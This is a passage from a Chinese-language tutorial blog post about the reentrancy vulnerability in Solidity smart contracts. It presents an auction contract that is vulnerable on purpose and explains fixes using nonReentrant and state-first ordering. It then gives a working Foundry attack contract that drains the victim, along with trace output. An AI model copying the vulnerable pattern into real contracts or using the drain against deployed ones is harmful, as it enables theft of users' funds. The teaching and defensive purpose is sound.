iT邦幫忙

2024 iThome 鐵人賽

DAY 7
0
Modern Web

web3 短篇集系列 第 7

Reentrancy!

  • 分享至 

  • xImage
  •  

今天來介紹一個經典的合約漏洞:重入攻擊 (Reentrancy)。

我們就以昨天的拍賣合約為例,我將它改成會被重入攻擊的漏洞合約:

// reentrancy!
contract Auction {
    address highestBidder;
    uint256 highestBid;
    mapping(address => uint256) refunds;

    function bid() external payable {
        require(msg.value > highestBid);

        if (highestBidder != address(0)) {
            refunds[highestBidder] += highestBid;
        }

        highestBidder = msg.sender;
        highestBid = msg.value;
    }

    function withdrawRefund() external {
        uint256 refund = refunds[msg.sender];

        (bool success,) = msg.sender.call{value: refund}("");
        require(success);

        refunds[msg.sender] = 0;
    }
}

我所做的更改是將這行「狀態更新」 refunds[msg.sender] = 0; 放到轉帳的「external call」之後,這會造成重入攻擊的破口。

預防重入攻擊

要避免被重入攻擊,有兩個做法:

  1. 推薦:若有函式可能與外部合約交互,使用套件對函式加上 nonReentrant modifier。
  2. 在與外部地址交互之前,先把合約狀態更新,最後再做 external call。(同昨天未更改的合約樣貌。)

第一個做法很簡單,首先引入套件:

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

繼承 ReentrancyGuard

contract Auction is ReentrancyGuard {

使用 nonReentrant modifier

function withdrawRefund() external nonReentrant {

之所以推薦第一個做法,是因為如果函式的邏輯很複雜,第二個做法可能因為初心大意而漏掉。

使用套件的作法非常簡單,前提是要先知道哪個函式可能會被重入攻擊,要記得加上 nonReentrant。

實現重入攻擊

接下來介紹重入攻擊的作法。

重入攻擊的破口,就在於 withdrawRefund 先把錢轉出去,然後才更新狀態,將提領者目前可提領的金額設為 0。

function withdrawRefund() external nonReentrant {
    uint256 refund = refunds[msg.sender];

    (bool success,) = msg.sender.call{value: refund}("");
    require(success);

    refunds[msg.sender] = 0;
}

攻擊者使用客製化的合約呼叫 bid,讓收款地址是一個合約,然後在合約的 receive 或 fallback 函式中,再去呼叫一次 withdrawRefund,於是就能再提領一次,收到錢後,邏輯又會再呼叫一次 withdrawRefund,直到把目標合約內的錢掏空,而 refunds[msg.sender] = 0; 則是等到錢被掏空後才執行。

以下是 foundry 的測試合約,可以搭配一開始的目標合約,測試重入攻擊

interface IVictim {
    function refunds(address) external view returns (uint256);
    function bid() external payable;
    function withdrawRefund() external;
}

contract AttackTest is Test {
    IVictim victim;

    function setUp() public {
        Auction auction = new Auction();

        address alice = address(0xBEEF);
        deal(alice, 0.1 ether);

        vm.prank(alice);
        auction.bid{value: 0.1 ether}();
        vm.stopPrank();

        victim = IVictim(address(auction));

        deal(address(this), 1 ether);
    }

    uint256 takeAmountEachTime = 0.1 ether + 1;

    receive() external payable {
        if (address(victim).balance >= takeAmountEachTime) {
            victim.withdrawRefund();
        }
    }

    function testAttack() public {
        console.log(address(victim).balance, "victim balance before attack");
        victim.bid{value: takeAmountEachTime}();
        victim.bid{value: takeAmountEachTime + 1}();

        victim.withdrawRefund();

        console.log(address(victim).balance, "victim balance after attack");
        console.log(address(this).balance, "this balance");
    }
}

跑測試

forge test --mp test/reentrancy.sol -vvvv

測試結果:

[PASS] testAttack() (gas: 87751)
Logs:
  100000000000000000 victim balance before attack
  0 victim balance after attack
  1100000000000000000 this balance

Traces:
  [107651] AttackTest::testAttack()
    ├─ [0] console::log(100000000000000000 [1e17], "victim balance before attack") [staticcall]
    │   └─ ← [Stop] 
    ├─ [32813] Auction::bid{value: 100000000000000001}()
    │   └─ ← [Stop] 
    ├─ [23213] Auction::bid{value: 100000000000000002}()
    │   └─ ← [Stop] 
    ├─ [24471] Auction::withdrawRefund()
    │   ├─ [17087] AttackTest::receive{value: 100000000000000001}()
    │   │   ├─ [16131] Auction::withdrawRefund()
    │   │   │   ├─ [8747] AttackTest::receive{value: 100000000000000001}()
    │   │   │   │   ├─ [7791] Auction::withdrawRefund()
    │   │   │   │   │   ├─ [407] AttackTest::receive{value: 100000000000000001}()
    │   │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   └─ ← [Stop] 
    │   │   │   └─ ← [Stop] 
    │   │   └─ ← [Stop] 
    │   └─ ← [Stop] 
    ├─ [0] console::log(0, "victim balance after attack") [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] console::log(1100000000000000000 [1.1e18], "this balance") [staticcall]
    │   └─ ← [Stop] 
    └─ ← [Stop] 

實例

ETHTaipei x TEM #5 探討 Web3 安全:從攻擊事件追蹤到重現 Meetup - 常見合約漏洞三:Reentrancy 的分享中,提供一個在 2024/2/12 發生的災情:

  • 無巧不巧它也是個拍賣合約(沒遵守 pull-over-push pattern 且可重入攻擊)
  • 這是 etherscan 上的重入攻擊交易
  • 這是作者提供的 PoC github repo 可以進行模擬
  • 可以在 blocksec 看到更清楚的金流走向

Reference


上一篇
讓用戶主動提領 (Pull over Push pattern)
下一篇
個案研究:wannabet
系列文
web3 短篇集30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言